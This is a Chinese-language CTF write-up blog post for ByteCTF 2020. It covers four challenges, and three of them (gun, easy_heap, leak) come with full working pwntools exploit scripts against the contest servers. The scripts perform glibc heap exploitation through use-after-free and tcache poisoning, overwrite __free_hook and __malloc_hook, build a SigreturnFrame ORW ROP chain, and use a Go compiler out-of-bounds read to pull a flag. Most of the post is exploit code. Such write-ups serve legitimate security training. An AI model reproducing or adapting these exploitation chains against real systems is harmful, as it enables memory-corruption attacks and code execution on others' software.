ByteCTF-2020

太难了,现在转行还来得及吗?附件

gun

UAF的洞,分配两个大块,然后释放让他们合并,再切割,其中的某个块的chunk header就能通过切割出来的chunk包含进去,之后则是清空数据,绕过tcache的check
利用则是修改stderr的chain指针指向一个堆上构造的IO,此外还要修改malloc_hook 为setcontext+61,即可通过SROP进行ORW

1
from pwn import*
2
context.binary = './main'
3
def menu(ch):
4
	p.sendlineafter('Action>',str(ch))
5
def new(size,content):
6
	menu(3)
7
	p.sendlineafter('price:',str(size))
8
	p.sendafter('Name:',content)
9
def load(index):
10
	menu(2)
11
	p.sendlineafter('load?',str(index))
12
def free(times):
13
	menu(1)
14
	p.sendlineafter('time: ',str(times))
15
p = process('./main')
16
p = remote('123.57.209.176',30772)
17
libc =ELF('./libc-2.31.so')
18
p.sendlineafter('Your name: ','FMYY')
19
for i in range(3):
20
	new(0x10,'FMYY\n')
21
new(0x420,'FMYY\n')
22
new(0x420,'fmyy\n')
23
new(0x10,'FMYY\n')
24
25
load(4)
26
load(3)
27
free(2)
28
29
new(0x20,'\n')
30
load(3)
31
free(1)
32
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70 - 0x120 - 0x3E0
33
log.info('LIBC:\t' + hex(libc_base))
34
free_hook = libc_base + libc.sym['__free_hook']
35
malloc_hook = libc_base + libc.sym['__malloc_hook']
36
new(0x20,'F'*0x10 + '\n')
37
load(3)
38
free(1)
39
p.recvuntil('F'*0x10)
40
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2C0 - 0x60
41
log.info('HEAP:\t' + hex(heap_base))
42
#############################################
43
44
###########3
45
pop_rdi_ret = libc_base + 0x0000000000026B72
46
pop_rdx_r12 = libc_base + 0x000000000011C371
47
pop_rsi_ret = libc_base + 0x0000000000027529
48
pop_rax_ret = libc_base + 0x000000000004A550
49
jmp_rsi  = libc_base + 0x000000000013927D
50
51
52
syscall = libc_base + libc.sym['syscall']
53
54
target = libc_base + libc.sym['_IO_2_1_stdin_']
55
address = libc.sym['__free_hook'] + libc_base
56
IO_str_jumps = libc_base + 0x1ED560
57
58
Open = libc_base + libc.symbols["open"]
59
Read = libc_base + libc.symbols["read"]
60
Puts = libc_base + libc.symbols['puts']
61
free_hook = address
62
IO  = '\x00'*0x28
63
IO += p64(heap_base + 0x360 + 0xE0)
64
IO  = IO.ljust(0xD8,'\x00')
65
IO += p64(IO_str_jumps)
66
read = libc_base + libc.sym['read']
67
frame = SigreturnFrame()
68
frame.rax = 0
69
frame.rdi = 0
70
frame.rsi = address
71
frame.rdx = 0x2000
72
frame.rsp = address
73
frame.rip = Read
74
75
76
orw  = p64(pop_rdi_ret)+p64(free_hook + 0xF8)
77
orw += p64(pop_rsi_ret)+p64(0)
78
orw += p64(Open)
79
orw += p64(pop_rdi_ret) + p64(3)
80
orw += p64(pop_rdx_r12) + p64(0x30) + p64(0)
81
orw += p64(pop_rsi_ret) + p64(free_hook+0x100)
82
orw += p64(Read)
83
orw += p64(pop_rdi_ret)+p64(free_hook+0x100)
84
orw += p64(Puts)
85
orw  = orw.ljust(0xF8,'\x00')
86
orw += './flag\x00\x00'
87
IO += str(frame)
88
########################################
89
for i in range(3):
90
	load(i)
91
free(3)
92
new(0x3E0,IO + '\n')
93
new(0x31,p64(0) + p64(0x21) + '\x00'*0x18 + p64(0x21) + '\n')
94
free(1)
95
96
load(1)
97
free(1)
98
new(0x31,p64(0) + p64(0x21) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0x68) + '\n')
99
new(0x10,'FMYY\n')
100
new(0x10,p64(heap_base + 0x360) + '\n')
101
102
load(1)
103
load(2)
104
free(2)
105
106
new(0x31,p64(0) + p64(0x21) + p64(malloc_hook) + '\n')
107
new(0x10,'FMYY\n')
108
new(0x10,p64(libc_base + libc.sym['setcontext'] + 61) + '\n')
109
110
menu(4)
111
p.sendlineafter('Goodbye!',orw)
112
p.interactive()

easy_heap

add的时候,第一次输入的size可以通过控制,然后在后面有个 *(ptr+size-1)=0,从而进行堆上任意地址写0,首先切割unsorted bin chunk,leak出libc,然后构造tcache poisoning往free_hook写system即可

1
from pwn import*
2
#context.log_level ='DEBUG'
3
p = process('./main')
4
p = remote('123.57.209.176',30774)
5
def menu(ch):
6
	p.sendlineafter('>>',str(ch))
7
def new(size,content):
8
	menu(1)
9
	p.sendlineafter('Size:',str(size))
10
	p.sendafter('Content',content)
11
def show(index):
12
	menu(2)
13
	p.sendlineafter('Index',str(index))
14
def free(index):
15
	menu(3)
16
	p.sendlineafter('Index',str(index))
17
def N(size,sz,content):
18
	menu(1)
19
	p.sendlineafter('Size:',str(size))
20
	p.sendlineafter('Size:',str(sz))
21
	p.sendafter('Content',content)
22
libc =ELF('./libc-2.31.so')
23
for i in range(8):
24
	new(0x80,'FMYY\n')
25
for i in range(7):
26
	free(7 - i)
27
free(0)
28
N(0x200,1,'\xE0') #0
29
show(0)
30
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 352 - 0x10
31
log.info('LIBC:\t' + hex(libc_base))
32
33
new(0x70,'FMYY\n') #1
34
new(0x60,'FMYY\n') #2
35
new(0x50,'FMYY\n') #3
36
new(0x50,'FMYY\n') #4
37
new(0x50,'FMYY\n') #5
38
free(3)
39
free(5)
40
free(4)
41
N(-0xBF,0x40,'FMYY\n') #3
42
new(0x50,p64(libc_base + libc.sym['__free_hook']) + '\n') #4
43
new(0x50,'/bin/sh\x00\n') #5
44
new(0x50,p64(libc_base + libc.sym['system']) + '\n')
45
free(5)
46
47
p.interactive()

leak

在下载了一个1.13.15的Go的编译器后,手动调试发现hack中定义的数组或者整型变量在栈上是在main函数中flag数组的上方不远处
因为Golang貌似在没有包括unsafe库的情况下,不能直接操纵内存,所以就去查有没有相关的数组越界分析
结果发现知乎有个最新的文章说了下因为Go编译器优化导致数组存在越界,所以根据上面的链接找到了对应issue的payload,改都不用改就能越界读出flag中的每一个字节,感觉这个题就是个社工题,面向搜索引擎做题,就看谁先找到了 :(
issue: https://github.com/golang/go/issues/40367
知乎文章分析: https://zhuanlan.zhihu.com/p/166378003

1
from pwn import*
2
p = remote('123.56.96.75',30775)
3
payload = '''
4
func hack() {
5
	
6
	rates := []uint64{0xFF}
7
	for star ,rate := range rates{
8
		if star+1 < 1{
9
			panic("")
10
		}
11
		println(rate)
12
	}
13
}
14
'''
15
p.sendafter('code:',payload + '#')
16
p.recvuntil('4531949\n')
17
FLAG  = ''
18
for i in range(0x2D):
19
	FLAG += chr(int(p.recvline(),10) - 1)
20
log.info('FLAG:\t' + FLAG)
21
pause()
22
p.close()

QIAO

首先是命令行参数传入0x20个字节的数据,然后通过长度检测,再将输入的数据转换成Hex形式,最后进行了一个虚拟机,这里不明白如何逆,所以就通过gdb的硬件断点,一点点的观察,经过了几轮后,发现在某个地址会从一个地址取出一个字节,和我们的输入的数据转换成的16进制进行一字节一字节的对比,每次对比时候,手动设置数据为正确的值,进行32轮后,都在同一个地址,就能一个字节一个字节的提取出正确的flag

Contents
  1. 1. gun
  2. 2. easy_heap
  3. 3. leak
  4. 4. QIAO
|